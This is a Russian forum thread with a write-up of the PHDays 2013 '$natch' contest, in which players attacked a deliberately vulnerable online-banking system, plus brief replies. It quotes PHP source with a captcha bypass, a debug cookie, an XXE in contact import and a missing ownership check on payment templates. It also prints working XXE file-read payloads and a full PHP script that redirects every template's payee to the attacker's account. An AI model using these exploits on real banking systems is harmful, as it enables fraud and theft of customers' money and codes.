Старый 29.05.2013, 00:10   #1
BigBear
 
Регистрация: 26.07.2012
Сообщений: 135
Репутация: 51
По умолчанию Write UP "$natch" (PHDays 2013) version 2

По итогам нашумевшего конкурса "$natch".

Конкурс уже прошёл, решил что пора бы напечатать свой write-up на тему "Как украсть деньги из IBank".

Надо признать, организаторы постарались на славу, предоставив пентестерам сразу 3 (!!!) вида различных уязвимостей для компрометации системы ДБО.

И тут было где разгуляться. Тем более банк обещал быть в размере 20к рублей, а сумма победителя ещё и удваивается спонсором!

Итак.

День первый.

12:00


Мы получили на руки исходники системы IBank и уже готовую виртуальную систему с этой ДБО на борту.
Но времени изучать исходники толком не было, вокруг была куча интереснейших докладов, поэтому изучение было передвинуто на вечер.

19:00

Наконец-то нашли время сесть и поковырять исходники. Практически сразу обнаружилось пару интересных вещей.

В то время как для входа в аккаунт требовалось передать 3 параметра: логин, пароль и капчу; дополнительно была найдена возможность авторизоваться через мобильный интерфейс, где запрашивало только логин и пароль.

AuthController.php
Код:
 if ($request->isPost()) {
            $login    = $request->getPost('login');
            $password = $request->getPost('password');
            $captcha  = $request->getPost('captcha');

            $return['login'] = $login;
            
            /**
             * Disable captcha on mobile interface
             */
            
            if (!$mobile) {
                if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                    $return['captchaError'] = true;
                    return $return;
                }
            }
            
            $result = $this->auth->authenticate($login, $password);
Для того чтобы ДБО пускало нас внуть через мобильный интерфейс - должна быть установлена Cookie "mobileInterface=true".

IndexController.php
Код:
public function switchInterfaceAction()
    {
        $request = $this->serviceManager->get('request');

        if ($request->getCookie('mobileInterface')) {
            setcookie('mobileInterface', '', null, '/');
        } else {
            setcookie('mobileInterface', 'true', null, '/');
        }
Всё это давало нам отличный шанс побрутить аккаунты на слабые пароли. Брутер написался очень быстро.

В качестве ответа-индикатора гудов и бэдов использовали код сервера "302 Found".

22:00

Зарядившись алкоголем (какой кодинг без него? Оо), мы с приятелями-конкурентами разделились на 2 части: кто-то дописывал и оптимизировал код, кто-то искал уязвимости дальше.

Второй вид уязвимости не заставил себя долго ждать.

XXE в функции импорта контактов.

ContactsController.php
Код:
public function indexAction()
    {
        return array(
            'user'     => $this->user,
            'contacts' => $this->userService->fetchUserContacts($this->user)
        );
    }

    public function exportAction()
    {
        $this->application->setOption('disableLayout', true)
                          ->setOption('disableView', true);

        $response = $this->serviceManager->get('response');
        $response->setHeader('Content-type', 'text/xml')
                 ->setHeader('Content-Disposition', 'attachment; filename="contacts.xml"')
                 ->appendBody($this->userService->exportUserContacts($this->user));
    }
    
    public function importAction()
    {
        if (isset($_FILES['contacts'])) {
            $this->userService->importUserContacts($this->user, $_FILES['contacts']['tmp_name']);
        }
        
        $this->redirect('/contacts');
    }
    
    public function addAction()
    {   
        if ($this->request->isPost()){
            $name        = $this->request->getPost('name');
            $account     = $this->request->getPost('account');
            $description = $this->request->getPost('description');
            if (!empty($name) && !empty($account)) {
                $this->userService->addUserContact($this->user, $name, $account, $description);
                $this->redirect('/contacts');
            }
        }
    }
    
    public function editAction()
    {
        $id = $this->request->getParam('id');
        $contact = $this->userService->fetchContactById($id);
        
        if (!$contact)
            throw new ContactNotFoundException();
        
        if ($contact->user_id != $this->user->id)
            throw new ForbiddenException();
        
        if ($this->request->isPost()) {
            $contact->name        = $this->request->getPost('name');
            $contact->account     = $this->request->getPost('account');
            $contact->description = $this->request->getPost('description');
            
            if ($this->userService->updateContact($contact)) {
                $this->redirect('/contacts');
            }
        }
        
        return array(
            'contact' => $contact
        );
Злоумышленник может внедрить свою XML сущность для чтения произвольного файла в системе. Что мы с радостью и сделали.

В качестве инжектируемого парамера изначально было выбрана переменная name. Но её длина не позволяла читать файлы длинного содержания. Тогда была найдена переменная description, которая не была видна при отображении, но была видна при редактировании списка конактов.

Буквально на коленке был написал эксплойт.

Код:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE contact [<!ENTITY x SYSTEM "/logs/messages.log">]>
<contacts><contact><name>name</name><account>90107430600712500001</account><description>&x;</description></contact></contacts>
Для первоначального эксплойта требовался абсолютный пусть до файлов в ОС. Эта проблема легко решалась разработчиками ДБО.

Bootstrap.php
Код:
if ($this->request->getCookie('debug')) {
    $this->setOption('displayExceptions', true);
}
Как видно, достаточно добавить кукис debug, равную,например, 1 - и мы получаем вывод ошибок, самые примитивные из которых вываливаются при запросе несуществующей страницы.

Была идея читать файл через wrapper php://filter/read=convert.base64-encode/resource, но она провалилась. Толи мы где-то косякнули с кодом, толи php отказывался отдавать файл через wrapper.

(Позже организаторы подтвердили первую догадку, так как итоговый эксплойт выглядел донельзя просто).

Код:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE contact [<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=logs/messages.log">]>
<contacts><contact><name>name</name><account>90107430600712500003</account><description>&x;</description></contact></contacts>
День второй

02:00


Начали разбираться что это за типы аккаунтов такие "tan" и "mtan". В течение ночи эти переменные стали нарицательными, особенно для кодеров.

Пришли к выводу, что перед нами 3 типа аккаунтов:

1) tan. Транзакции отправляются посредством введения кода из БД таблицы tan. (По факту это имитация одноразовых кодов, выдаваемых банком на карточке).

2) mtan. (version 1). Транзакции проходят без введения вообще каких либо кодов подтверждения. Практически одним кликом.

3) mtan. (version 2). Транзакции проходят посредством ввода кода, оптравленного через SMS держателю счёта, при этом отправленнные коды кладутся в logs/messages.log.

Как вы уже поняли, 2 и 3 тип аккаунтов легко эксплуатаировался либо простым проведением транзакции, либо проведением транзакции и последующим чтением через XXE отправленных кодов подтверждения на SMS.

5:00

Предыдущие 2 эксплойта были дописаны. Работали кривова-то. Код был мягко говоря не айс. Но он был!

Перекопали исходники, не удалось понять в чем уязвимость шаблонов (раз они там были, значит видимо не просто так).
А всё было очень просто!

TransactionController.php
Код:
public function editTemplateAction()
    {   
        $template = $this->tService->fetchTemplateById($this->request->getParam('id'));
        
        if (!$template)
            throw new Exception\TransactionTemplateNotFoundException();
        
        if ($this->request->isPost()) {
            $template->name         = $this->request->getPost('name');
            $template->account_from = $this->request->getPost('from');
            $template->account_to   = $this->request->getPost('to');
            $template->sum          = $this->request->getPost('sum');
            
            if ($this->tService->updateTemplate($template)) {
                $this->redirect('/transactions/templates');
            }
        }
        
        return array(
            'template' => $template
        );
    }
TransactionService.php
Код:
public function fetchTemplateById($id)
    {
        $sth = $this->db->query("SELECT * FROM transaction_templates WHERE id = ? ", $id);
        if (!$sth->rowCount())
            return false;
        
        $template = new TransactionTemplate();
        $template->populate($sth->fetch());
        
        return $template;
    }

    public function addUserTemplate(User $user, $name, $from, $to, $sum)
    {
        $this->db->query("INSERT INTO transaction_templates VALUES(null,?,?,?,?,?)",
                         $user->id, $name, $from, $to, $sum);

        return $this;
    }
    
    public function updateTemplate(TransactionTemplate $template)
    {
        $this->db->query("UPDATE transaction_templates SET name = ?, account_from = ?, account_to = ?, sum = ? WHERE id = ?",
                         $template->name, $template->account_from,
                         $template->account_to, $template->sum, $template->id);
                
        return true;
    }
Из исходников видно, что у нас не проверяется ID человека, который редактирует шаблоны оплаты. Таким образом через специальный запрос в системе ДБО http://DBO/transactions/editTemplate/id/1 можно было редактировать любые шаблоны, подменяя адрес назначения платежа на свой.

Эксплойт мы так и не написали. Организаторы сказали, что вообще никто эту уязвимость не эксплуатировал. И привели свой правильный эксплойт.

Код:
<?php

$login       = '100001';
$password    = 'qwerty';
$account     = '90107430600227300001';
$domain      = 'localhost';
$cookie_file = '/tmp/ibank_cookie';

function login($ch, $login, $password, $domain)
{
    $postdata = http_build_query(
            array(
                'login'    => $login,
                'password' => $password,
            )
    );

    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/login',
        CURLOPT_POST           => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_POSTFIELDS     => $postdata,
    ));

    return curl_exec($ch);
}

function logout($ch, $domain)
{
    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/logout',
        CURLOPT_FOLLOWLOCATION => 0,
        CURLOPT_POST           => 0,
    ));

    return curl_exec($ch);
}

@unlink($cookie_file);
file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);

$ch = curl_init();

curl_setopt_array($ch, array(
    CURLOPT_HEADER         => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_COOKIEJAR      => $cookie_file,
    CURLOPT_COOKIEFILE     => $cookie_file,
));

login($ch, $login, $password, $domain);

$i = 0;
while (++$i) {
    if ($i > 100) {
        $i = 0;
        continue;
    }
    
    curl_setopt_array($ch, array(
        CURLOPT_URL  => $domain . '/transactions/editTemplate/id/' . $i,
        CURLOPT_POST => 0,
    ));

    $result = curl_exec($ch);

    if (strpos($result, '<h1>404. Page not found</h1>'))
        continue;

    preg_match_all("~<input name=\"(.+)\".+value=\"(.*)\">~mU", $result, $matches);

    $post_data = array();
    foreach ($matches[1] as $key => $name) {
        $value            = $matches[2][$key];
        $post_data[$name] = $value;
    }
    
    if ($post_data['to'] !== $account) {
        $post_data['to'] = $account;

        curl_setopt_array($ch, array(
            CURLOPT_POST       => 1,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
        ));

        $result = curl_exec($ch);
        
        echo "From {$post_data['from']} sum {$post_data['sum']}\n";
    }
}

curl_close($ch);
8:00

Все дружно упали спать. Ром сделал своё дело. Хотя поспать толком не удалось.

11:00

Чёртов будильник! Голова плохо варила. Благо дома оказалась холодная Coca-cola и раковина в ванной )

Умывшись и перекусив, мы отправились покорять PHDays. Наш главный кодер всё ещё дописывал/переписывал код. Неугомонный человек.

12:15

Началось. Прямо перед началом конкурса мы договорились о стратегии и обменялись эксплойтами.

Нам были розданы конверты участников и локальные кабели.

Казалось бы - всё прекрасно, но вот с первых минут всё пошло не так (.

Сначала я начал тупить и не смог авторизоваться под собой в системе ДБО.

Оказывается, в качестве аутентифкационных данных использовался логин и пасс нанесённый на карточку. Ок, понятно.

Потом вдруг отказался работать эксплойт для итоговой ДБО. Косяк был в глобализации переменной ip.

Когда он был исправлен, остальные участники уже пробрутили и вывели часть денег.

Поэтому было решено дождаться, пока они решат сменить свои пароли. Не зря же организаторы предусмотрели чтение файла /logs/changePassword.log ?)

Когда "вдруг" было обзявлено, что всем пользователям принудительно сменили пароли, в ход пошёл другой наш эксплойт.

И вот тут нас ждал облом. Из-за специсимволов в изменённых паролях наш фейковый XML файл не позволял читать файл смена паролей.

А ведь всего-лишь надо было использовать wrapper php://filter/read=convert.base64-encode/resource. Мы лишь беспомощно развели руками и искали ошибку в наших скриптах, при этом недоумевая, почему дома эксплойт работал, а тут нет.

12:45

Прозвенел гонг. Конкурс подошёл к концу. На счету 0.

Но большого разочарования нет, уязвимости были найдены, код написан. Чуток не хватило сообразительности. Так бывает =)



Полный размер

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Хочется сказать большое спасибо организаторам за предоставленный шанс попробовать себя в этом конкурсе.

Было очень интересно копать баги и писать под них эксплойты. ИМХО это вообще самый интересный конкурс на PHDays 2013.

Отдельное спасибо человеку написавшему ДБО в одиночку - респект и уважуха !!!

Ну и спасибо всем моим товарищам, что были рядом и помогали во всём: Rebz, Trinux, FIXER aka shell_c0de, VY_CMa, alkos, konqi.

BigBear, Antichat, 2013

Последний раз редактировалось BigBear; 29.05.2013 в 10:35..
BigBear вне форума   Ответить с цитированием
Старый 29.05.2013, 08:20   #2
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 99
Репутация: 31
По умолчанию

А я сразу прикинул, что если смог перебрать пароль, то заменю его на что-то, содержащее тэги или амперсант. И ожидал этого же от других участников, так что base64 фильтр почти на автомате заюзал.
Кстати, 50 аккаунтов было с измененными паролями сразу.

Последний раз редактировалось HeartLESS; 29.05.2013 в 08:24..
HeartLESS вне форума   Ответить с цитированием
Старый 29.05.2013, 11:19   #3
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Цитата:
Кстати, 50 аккаунтов было с измененными паролями сразу.
30 https://github.com/YDyachenko/Snatch...gePassword.log
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 29.05.2013, 12:19   #4
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 99
Репутация: 31
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
уговорил
HeartLESS вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot